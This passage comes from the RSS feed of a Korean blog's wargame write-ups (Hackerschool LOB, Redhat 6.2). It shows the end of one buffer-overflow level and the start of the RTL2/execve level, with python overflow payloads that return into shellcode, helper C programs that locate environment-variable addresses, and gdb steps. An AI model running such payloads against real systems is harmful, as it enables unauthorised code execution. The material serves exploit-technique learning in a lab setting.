int main(int argc, char ** argv)
{
        printf(&quot;%s : %p\n&quot;, argv[1], getenv(argv[1]));

        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1708386545615&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gcc -o getenv getenv.c
./getenv shellcode&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;386&quot; data-origin-height=&quot;54&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/29hYz/btsE7prSIUP/SJVgqjiT7E6gkEWXNOxk3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/29hYz/btsE7prSIUP/SJVgqjiT7E6gkEWXNOxk3k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/29hYz/btsE7prSIUP/SJVgqjiT7E6gkEWXNOxk3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F29hYz%2FbtsE7prSIUP%2FSJVgqjiT7E6gkEWXNOxk3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;386&quot; height=&quot;54&quot; data-origin-width=&quot;386&quot; data-origin-height=&quot;54&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 getenv.c 파일에 위의 코드를 작성한 후 컴파일하고 실행하여 shellcode 환경 변수의 주소를 구하면 0xbfffff68이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;855&quot; data-origin-height=&quot;54&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HhTKp/btsE0kr5rsv/xkfOARC5sSOwvvkHKGKGi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HhTKp/btsE0kr5rsv/xkfOARC5sSOwvvkHKGKGi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HhTKp/btsE0kr5rsv/xkfOARC5sSOwvvkHKGKGi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHhTKp%2FbtsE0kr5rsv%2FxkfOARC5sSOwvvkHKGKGi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;855&quot; height=&quot;54&quot; data-origin-width=&quot;855&quot; data-origin-height=&quot;54&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708386661389&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./assassin `python -c 'print &quot;a&quot; * 44 + &quot;\x1e\x85\x04\x08&quot; + &quot;\x68\xff\xff\xbf&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload를 구성하는데 이번에는 위에서 말했듯이 ret 가젯을 이용해 system() 함수가 아닌 shellcode 환경 변수의 쉘 코드가 실행되게 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 위와 같이 segmentation fault 에러와 함께 실패한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;아마 이는 프로그램 이름 길이에 따른 스택 주소의 변화 때문일 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;프로그램 이름의 길이가 1byte 길어질수록 스택 주소는 2byte씩 작아지고, 반대로 이름의 길이라 1byte 짧아질수록 스택 주소는 2byte씩 커진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;./getenv는 8byte이고, ./assassin은 10byte이므로 2byte가 길어지고, 이러면 스택 주소는 4byte 작아지므로 ./assassin 프로세스에서 shellcode 환경 변수의 주소는 0xbfffff64이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708386903354&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi getenvaddr.c&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1708386934328&quot; class=&quot;autoit&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;


int main(int argc, char ** argv)
{
        char *ptr;
        ptr = getenv(argv[1]);
        ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;

        printf(&quot;%s : %p\n&quot;, argv[1], ptr);

        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1708386991593&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gcc -o getenvaddr getenvaddr.c

./getenvaddr shellcode ./assassin&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;479&quot; data-origin-height=&quot;54&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sv2K8/btsE6RvnGje/yKEPU5ep34mo01D5EPyRNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sv2K8/btsE6RvnGje/yKEPU5ep34mo01D5EPyRNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sv2K8/btsE6RvnGje/yKEPU5ep34mo01D5EPyRNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsv2K8%2FbtsE6RvnGje%2FyKEPU5ep34mo01D5EPyRNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;479&quot; height=&quot;54&quot; data-origin-width=&quot;479&quot; data-origin-height=&quot;54&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위와 같이 getenvaddr.c 파일에 소스코드를 입력해 컴파일 후 실행함으로써 shellcode 환경 변수의 주소를 정확하게 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crv20T/btsE1B1qdB3/7Its7vL0M3wpo8igBoQKRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crv20T/btsE1B1qdB3/7Its7vL0M3wpo8igBoQKRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crv20T/btsE1B1qdB3/7Its7vL0M3wpo8igBoQKRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcrv20T%2FbtsE1B1qdB3%2F7Its7vL0M3wpo8igBoQKRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;858&quot; height=&quot;126&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708387091450&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./assassin `python -c 'print &quot;a&quot; * 44 + &quot;\x1e\x85\x04\x08&quot; + &quot;\x64\xff\xff\xbf&quot;'`

id

my-pass&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload를 수정하여 실행하면 위와 같이 성공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/493</guid>
      <comments>https://sean.tistory.com/493#entry493comment</comments>
      <pubDate>Mon, 19 Feb 2024 20:52:44 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL14 (bugbear -&amp;gt; giant) : RTL2, only execve(이중 포인터로 넘겨야 하는 인자를 프로그램 이름을 이용해 해결, 프로그램 이름의 길이에 따른 스택 주소)</title>
      <link>https://sean.tistory.com/492</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : bugbear&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;password : new&amp;nbsp;divide&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;71&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kWCte/btsEVd69CuI/Qy5wgfXoxbtj1OVVPANahK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kWCte/btsEVd69CuI/Qy5wgfXoxbtj1OVVPANahK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kWCte/btsEVd69CuI/Qy5wgfXoxbtj1OVVPANahK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkWCte%2FbtsEVd69CuI%2FQy5wgfXoxbtj1OVVPANahK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;514&quot; height=&quot;71&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;71&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708052087128&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc &amp;lt; 2){
		printf(&quot;argv error\n&quot;);
		exit(0);
	}

	// gain address of execve
	fp = popen(&quot;/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'&quot;, &quot;r&quot;);
	fgets(buffer, 255, fp);
	sscanf(buffer, &quot;(%x)&quot;, &amp;amp;lib_addr);
	fclose(fp);

	fp = popen(&quot;/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'&quot;, &quot;r&quot;);
	fgets(buffer, 255, fp);
	sscanf(buffer, &quot;%x&quot;, &amp;amp;execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&amp;amp;ret, &amp;amp;(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf(&quot;You must use execve!\n&quot;);
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf(&quot;%s\n&quot;, buffer);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1.&amp;nbsp;커맨드라인&amp;nbsp;인자가&amp;nbsp;있어야&amp;nbsp;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. 커맨드라인 인자 첫 번째의 45번째부터 4byte만큼의 값이 execve() 함수의주소와 같아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제는 RTL 기법을 사용해야 하지만 무조건 execve() 함수를 사용하겠끔 조건이 명시되어 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1708053371904&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;참고)
- 헤더: unistd.h
- 형태: int execve (const char *filename, char *const argv [], char *const envp[])
- 인수:
	filename: 디레토리 포함 전체 파일 명
	argv : 인수 목록 
	envp : 환경 변수 목록
    
execve() 함수는 현재 실행 중인 프로그램을 종료하고 다른 프로그램을 실행하는 함수이다.

execve()처럼 맨 뒤에 e로 끝나는 것들은 환경 변수를 인수로 줄 수 있다는 것이다.
환경 변수를 인수로 줄 수 없는 execv()가 있다.

execve()와 비슷한 함수로는 execle()가 있는데
execve()와 execle() 함수의 차이점은 인수 목록을 리스트로 나열하느냐 혹은 배열에 담아 이중 포인터로 인수로에 넘겨주냐이다.

ex)
char ** envp[] = {&quot;test=I_AM_Groot&quot;, NULL};
execle() : execle(&quot;program name&quot;, argv[0], argv[1], argv[2], argv[3], NULL, envp);
execle() : execle(&quot;./cp&quot;, &quot;./cp&quot;, &quot;test1&quot;, &quot;test2&quot;, NULL, envp);

char ** argv[] = {&quot;./cp&quot;, &quot;test1&quot;, &quot;test2&quot;, NULL};
char ** envp[] = {&quot;test=I_AM_Groot&quot;, NULL};
execve() : execve(&quot;program name&quot;, **argv, **envp);
execve() : execve(&quot;./cp&quot;, &amp;amp;argv, &amp;amp;envp);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;execve() 함수 주소 구하는 부분&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1708053732015&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// gain address of execve
fp = popen(&quot;/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'&quot;, &quot;r&quot;);
fgets(buffer, 255, fp);
sscanf(buffer, &quot;(%x)&quot;, &amp;amp;lib_addr);
fclose(fp);

fp = popen(&quot;/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'&quot;, &quot;r&quot;);
fgets(buffer, 255, fp);
sscanf(buffer, &quot;%x&quot;, &amp;amp;execve_offset);
fclose(fp);

execve_addr = lib_addr + (int)execve_offset;
// end

memcpy(&amp;amp;ret, &amp;amp;(argv[1][44]), 4);
if(ret != execve_addr)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 코드 부분이 execve() 함수의 주소를 구하는 부분인데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ldd 명령은 프로그램이나 공유 라이브러리들이 요구하는 공유 라이브러리(shared libraries)를 출력하는 명령으로, 프로세스나 모듈의 실행이 라이브러리의 부재로 되지 않거나 하는 경우 역추적하여 라이브러리를 확인하여 넣어주는 형태로 많이 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;nm 명령은 오브젝트 파일, 실행 파일 또는 오브젝트 파일 라이브러리 중 하나인, 지정된 File에 있는 심볼(기호)에 대한 정보를 표시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;awk 명령은 이 커맨드라인 프로그램을 만든 사람의 이니셜이며, &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;파일로부터 레코드(record)를 선택하고, 선택된 레코드에 포함된 값을 조작하거나 데이터화하는 것을 목적으로 사용하는 프로그램이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;(각 레코드는 공백이나 tab으로 구분한다.)&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제에서는 popen() 함수로 가져온 값을 fgets() 함수로 개행 문자를 만나기 전까지 최대 254byte의 내용을 buffer에 내용을 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(fgets() 함수는 공백과 개행 문자 그리고 tab을 만나기 전까지 입력을 받는 scanf() 함수와는 달리 오직 개행 문자를 만나기 전까지만 입력을 받기 때문에 공백이 포함된 문자열도 받을 수 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 sscanf() 함수로 buffer에 있는 값을 %x 형식 지정자에 맞게 3번째 인자에 해당하는 주소에 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이렇게 libc의 주소를 구해 lib_addr에 넣고, execve() 함수의 offset 주소를 구해 execve_offset에 넣은 뒤 이 두 값을 더하여 execve() 함수의 주소를 구한 후 첫 번째 커맨드라인 인자의 RET 부분에 덮어쓸 4byte 값과 비교하는 것이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;145&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqpQfI/btsEWfJ9aQC/KywoTgrrGk7xcHHKpeY4cK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqpQfI/btsEWfJ9aQC/KywoTgrrGk7xcHHKpeY4cK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqpQfI/btsEWfJ9aQC/KywoTgrrGk7xcHHKpeY4cK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqpQfI%2FbtsEWfJ9aQC%2FKywoTgrrGk7xcHHKpeY4cK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;145&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;145&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708055493871&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ldd giant | grep libc
ldd giant | grep libc | awk '{print $4}'

nm /lib/libc.so.6 | grep __execve
nm /lib/libc.so.6 | grep __execve | awk '{print $1}'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;level14 문제에서는 명령어들을 사용할 때 절대경로로 입력하고 assassin 프로그램을 이용했지만, 현재 권한이 bugbear이므로 assassin 프로그램에 접근할 수 없기 때문에 giant 프로그램으로 대체하고, 명령어는 그냥 프로그램 이름만 입력하면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;libc의 주소 0x40018000과 execve() 함수의 offset 주소 0x91d48을 더하면 execve() 함수의 실제 주소는 0x400a9d48이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위와 같이 ldd와 nm 명령으로 execve() 함수의 주소를 알아내도 되지만 gdb를 이용해서 주소를 알아낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;이미 존재하는 실행 파일 중 execve() 함수의 정보가 들어있는 실행 파일과 gdb를 이용해 주소 알아내기&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EoKi1/btsEVIzamM8/hcHuixKe8KSkLiBZEsuUyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EoKi1/btsEVIzamM8/hcHuixKe8KSkLiBZEsuUyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EoKi1/btsEVIzamM8/hcHuixKe8KSkLiBZEsuUyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEoKi1%2FbtsEVIzamM8%2FhcHuixKe8KSkLiBZEsuUyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;180&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708056061141&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cp giant giant2
gdb -q giant2

b * main

r aaaa

p execve&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;execve() 함수를 호출하는 프로그램을 만들어 gdb를 이용해 주소 알아내기&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1708056331655&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main()
{
	execve();
    
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;289&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dk5DNq/btsES5WpJEo/wQq7ENqiPnnOi9OqObQPvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dk5DNq/btsES5WpJEo/wQq7ENqiPnnOi9OqObQPvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dk5DNq/btsES5WpJEo/wQq7ENqiPnnOi9OqObQPvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdk5DNq%2FbtsES5WpJEo%2FwQq7ENqiPnnOi9OqObQPvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;657&quot; height=&quot;289&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;289&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708056369375&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gcc -o call_execve call_execve.c
gdb -q call_execve

b * main

r

p execve&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;call_execve.c 파일에 위의 코드를 입력한 후 컴파일 하여 gdb로 열어 실행한 뒤 execve() 함수의 주소를 출력한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;486&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFJcMV/btsEWOeyGJf/PdqOKj3SKJDQbhePEKKkTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFJcMV/btsEWOeyGJf/PdqOKj3SKJDQbhePEKKkTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFJcMV/btsEWOeyGJf/PdqOKj3SKJDQbhePEKKkTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFJcMV%2FbtsEWOeyGJf%2FPdqOKj3SKJDQbhePEKKkTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;450&quot; height=&quot;486&quot; data-origin-width=&quot;450&quot; data-origin-height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708056711222&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cp giant giant2
gdb -q giant2

set disassembly-flavor intel
disas main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지역 변수의 공간으로 60 byte를 할당하는 것으로 보아 dummy 값은 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
